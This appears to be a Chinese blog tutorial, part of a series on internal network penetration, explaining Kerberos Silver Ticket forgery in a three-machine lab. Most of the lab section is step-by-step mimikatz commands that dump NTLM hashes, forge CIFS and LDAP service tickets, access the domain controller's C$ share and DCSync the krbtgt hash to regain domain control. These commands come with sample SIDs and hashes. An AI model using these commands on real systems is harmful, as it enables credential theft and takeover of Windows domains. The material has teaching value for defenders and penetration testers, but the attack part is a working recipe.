系列文章第一章节之基础知识篇
内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名
系列文章第二章节之内网信息收集篇
内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位
系列文章第三章节之Windows协议认证和密码抓取篇
内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
内网渗透(二十一)之Windows协议认证和密码抓取-Golden Ticket黄金票据制作原理及利用方式
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!
Silver Ticket白银票据制作原理及利用方式
服务账号介绍
服务账号就是计算机名字+$,是用来管理服务的账号
白银票据原理
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。 在Kerberos认证的第三步,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
我们以去动物园举例:
实验内容
实验环境
实验机器 | IP地址 |
---|---|
windows server 2012 (域控) | 192.168.41.10 |
windows server 2008(域内成员) | 192.168.41.20 |
windows server 2003(域内成员) | 192.168.41.30 |
实验前提
1、已经控制了域控并且使用域管理员登录或者是已经提权的system用户权限
我们的目的是去访问windows server 2003 的机器
需要的前提条件如下:
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
实验步骤
控制域控
1、控制域控并获取基本信息
shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域
得到域名为:hack.com SID:S-1-5-21-3435113289-1855702322-4007071888
2、获取域控Windows 2012(DC$)服务账号的NTLM hash值
mimikatz sekurlsa::logonpasswords
得到DC$服务账户的NTLM hash值为:0e78169a8703c99ec788dca0c23193b1
现在我们模拟域管理员发现了我们留在域控上的恶意程序,并且把我们的恶意程序干掉了,导致我们失去了对域控的权限,并且把krbtgt账户的hash值改了,导致我们无法利用黄金票据恢复对域控的权限了,但好在现在我们还控制着一个Windows 2008机器,不过是一个普通用户权限
3、windows 2008清除票据,防止票据冲突
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票
4、在windows 2008机器上伪造票据(CIFS共享服务)
mimikatz kerberos::golden /domain:hack.com /sid:S-1-5-21-3435113289-1855702322-4007071888 /target:dc.hack.com /service:cifs /rc4:0e78169a8703c99ec788dca0c23193b1 /user:abcd /ptt
5、Windows 2008访问域控
shell dir \\dc.hack.com\c$
到这一步,我们也仅仅只是做到了访问域控,离重新控制域控还差了十万八千里,这里就有人要问了,既然我都有可以访问域控的权限了,那我是不是也可以跟黄金票据中用计划任务重新上线的方式一样,重新上线域控呢?答案是不行的,这就是黄金票据和白银票据的差距了,
计划任务中很重要的一环就是复制恶意程序,但是在白银票据的前提条件下,我们使用复制命令权限和使用计划任务的权限是不够的,这也就断绝了我们使用计划任务上线域控的可能性了
那这种情况下该怎么办呢?我们可以试着去重新读取管理员更改后的krbrtgt账户的hash
这时我们虽然建立了CIFS共享服务的白银票据,但我们发现如果用CIFS共享服务的白银票据去读取krbrtgt账户的NTLM hash权限是不够的,所以我们就得利用LDAP共享服务建立的白银票据
6、在Windows 2008机器上伪造票据(LDAP共享服务)
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票
mimikatz kerberos::golden /domain:hack.com /sid:S-1-5-21-3435113289-1855702322-4007071888 /target:dc.hack.com /service:LDAP /rc4:0e78169a8703c99ec788dca0c23193b1 /user:abcd /ptt
7、查询域控的krgtgt
mimikatz lsadump::dcsync /dc:dc.hack.com /domain:hack.com /user:krbtgt
这时我们终于得到了krbrtgt账户的NTLM hash,接下来就可以利用上一篇文章所讲的黄金票据重新拿回域控了,详细请看上一篇文章
控制windows 2003
1、域控获取基本信息
shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域
得到域名为:hack.com SID:S-1-5-21-2716900768-72748719-3475352185
2、获取Windows 2003(pc-2003$)的服务账号的NTLM hash值
mimikatz sekurlsa::logonpasswords
得到 hash 1a4c65ba0926944b4066f6fcdcf05bbd
3、Windows 2008伪造票据(CIFS共享服务)
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票
mimikatz kerberos::golden /domain:hack.com /sid:S‐1‐5‐21‐2716900768‐72748719‐3475352185 /target:PC‐2003.hack.com /service:cifs /rc4:1a4c65ba0926944b4066f6fcdcf05bbd /user:abc /ptt
4、Windows 2008访问Windows 2003
shell dir \\pc‐2003.hack.com\c$